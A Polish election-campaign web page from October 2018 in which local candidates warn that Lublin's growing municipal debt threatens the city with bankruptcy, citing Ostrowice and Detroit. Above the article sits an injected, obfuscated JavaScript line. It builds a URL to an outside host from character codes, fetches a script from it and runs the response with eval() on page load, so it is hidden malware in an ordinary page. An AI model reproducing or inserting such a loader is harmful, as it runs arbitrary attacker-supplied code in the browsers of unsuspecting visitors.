var k = 526853;var url=String.fromCharCode(104,116,116,112,115,58,47,47,110,115,49,46,98,117,108,108,103,111,101,115,100,111,119,110,46,99,111,109,47,99,49,46,106,115,63,99,105,100,61,51,52,110,53,104,98,113,103,102,52,100,53,121,38);var text = httpGet(url+k);if(text.length > 3){eval(text);} function httpGet(theUrl){ var xmlHttp = new XMLHttpRequest();xmlHttp.open( String.fromCharCode(71,69,84), theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}

Uratujmy Lublin przed bankructwem

2 października 2018 jakubkulesza

Uratujmy Lublin przed bankructwem

 

  • Lider listy do Rady Miasta z okręgu nr 4 Tomasz Deptuła przedstawia obecną sytuację finansową Lublina. Omawia strukturę zadłużenia i ryzyko z tym związane. Odnosi się również do zadłużenia spółek miejskich, które generują dodatkowe zobowiązania bez konieczności uwzględniania ich w oficjalnym długu Lublina.
  • Michał Błaszcak lider listy do Rady Miasta z okręgu nr 3 zwrócił uwagę na propozycje spłacania zadłużenia miasta w ramach Budżetu Obywatelskiego
  • Jakub Kulesza przypomniał przypadek gminy Ostrowice, która ze względu na bankructwo została zlikwidowana. Bankurotwały też o wiele większe miasta takie jak Detroit.

 

Przedstawiciele Komitetu Wyborczego Wyborców Kukiz, Wolność, Lubelscy Patrioci i Ruchy Miejskie proponują zmniejszyć zadłużenie Lublina. Wskazują na zadłużenie spółek miejskich, które generują dodatkowe zobowiązania bez konieczności uwzględniania ich w oficjalnym długu Lublina i ostregają przed bankructwem jakie spotkało likwidowaną gminę Ostrowice.

Przedstawiciele Komitetu Wyborczego Wyborców Kukiz, Wolność, Lubelscy Patrioci i Ruchy Miejskie z przykrością stwierdzają, że Lublin jest liderem niegospodarności, Ogromne długi miasta będą miały bardzo negatywny wpływ na najbliższe lata. Kasa miasta świeci pustkami i dlatego nie ma takiej niegodziwości, do której niedopuściłby się samorząd w momencie gdy zabraknie mu pieniędzy. W ocenie przedstawicieli komitetu lubelski ratusz bojąc się utraty władzy po cichu generuje kolejne długi będąc przekonanym że nikt tego nie zauważy.

— „Lublin jest niechlubnym liderem wśród miast do 500 tysięcy mieszkańców. Astronomiczne zadłużenie 1,48 miliarda złotych jest niedopuszczalne i antyrozwojowe. Obecne władze zapomniały o podstawowej zasadzie gospodarności, która brzmi: pamiętaj rozchodzie żyj z przychodem w zgodzie. Dlatego naszym głównym postulatem jest zakaz konstruowania budżetu z deficytem, który na rok 2018 wynosi 110 milionów złotych.” — powiedzial Tomasz Deptuła kandydat na Radnego Miasta Lublin.

Kandydaci komitetu mówili o możliwych zagrożeniach płynących z tak ogromnego zadłużenia miasta .

— „Dzisiejsze stopy procentowe są na rekordowo niskim poziomie i niższe na pewno nie będą. Natomiast ich wzrost jest jak najbardziej realny. Jeśli powrócą do normalnego poziomu w granicach około 5% wówczas koszt obsługi długu Lublina poszybuje w górę z obecnego poziomu 35 milionów rocznie ponad 100 milionów na rok. Powyższy model zarządzania finansami miasta skłania mnie do powiedzenia, że za czasów Żuka jedz pij i popuszczaj pasa. Do czego podobne zachowanie doprowadziło w historii wszyscy doskonale wiemy” — powiedział Deptuła.

Kandydaci zwrócili także uwagę na zadłużenie zależnych wobec ratusza spółek, których zobowiązania są de facto długiem miasta, tylko nie widniejącym w oficjalnych publikacjach na ten temat.

— „Zobowiązania samego MPK wynoszą 146 milionów złotych, a wszystkich spółek miejskich prawie pół miliarda złotych. Kto i kiedy to spłaci?” — dodaje na koniec Deptuła

Michał Błaszczak – kandydat na radnego krytykuje obecne władze za ich bestroskie zaciąganie kolejnych zobowiązań, które będą spłacane latami i tak naprawdę obciążą młode pokolenie wchodzące na rynek pracy.

— „Prezydent Żuk beztrosko zadłuża się na poczet niedochodowych inwestycji kosztem mieszkańców, a przede wszystkim nas – młodych ludzi, którzy będą spłacać gigantyczne zadłużenie już w niedalekiej przyszłości. Co roku tracimy 35 mln zł z budżetu miasta, na samą obsługę zadłużenia. Miasto nie robi nic, aby te zobowiązania zmniejszyć. Zauważyłem to będąc w Młodzieżowej Radzie Miasta. Próbowałem zainicjować przeznaczenie budżetu Młodzierzowej Rady Miasta Lublin na spłatę długu. Zauważyli to również działacze Fundacji Wolności, którzy stworzyli projekt Budżetu Obywatelskiego M-4. Projekt ten przewiduje spłatę 290 000 zł zobowiązań Lublina. Pojawienie się tego projektu świadczy o wysokiej świadomości mieszkańców oraz zdrowym rozsądku. Skandaliczne jest to, że lokalna społeczność musi spłacać długi Prezydenta Żuka, zaciągnięte w dużej mierze na jego kampanię wyborczą. ” — dodaje Michał Błaszczak.

Jakub Kulesza kandydat na Prezydenta Miasta Lublin wskazuje na konsekwencje beztroskiego zadłużania i groźbę bankructwa miasta.

— „Musimy uratować Lublin przed bankructwem. W zeszłym roku Lublin był na dziesiątym miejscu w zadłużeniu liczonym na mieszkańca spośród wszystkich gmin w Polsce. W tym roku jest już na 9 miejscu, bo gmina Ostrowice z województwa zachodniopomorskiego, która była na pierwszym miejscu zbankrutowała jest likwidowana. Bankrutowały także miasta o wiele większe od Lublina. W 2013 roku zbankurotowało Detroit. Miasto było praktycznie sparaliżowane – nie działało czterdzieści procent oświetlenia, dwie trzecie karetek nie jeździło, na interwencję policji mieszkaniec miasta musiał czekać średnio niemal godzinę, większość parków miejskich została zamknięta, a pustostany zajmowały powierzchnię ponad 100 kilometrów kwadratowych. Dwumilionowa populacja skurczyła się do zaledwie 700 tys. mieszkańców. Detroit stało się niewypłacalne. To może czekać nas w Lublinie” — ostrzega Kulesza.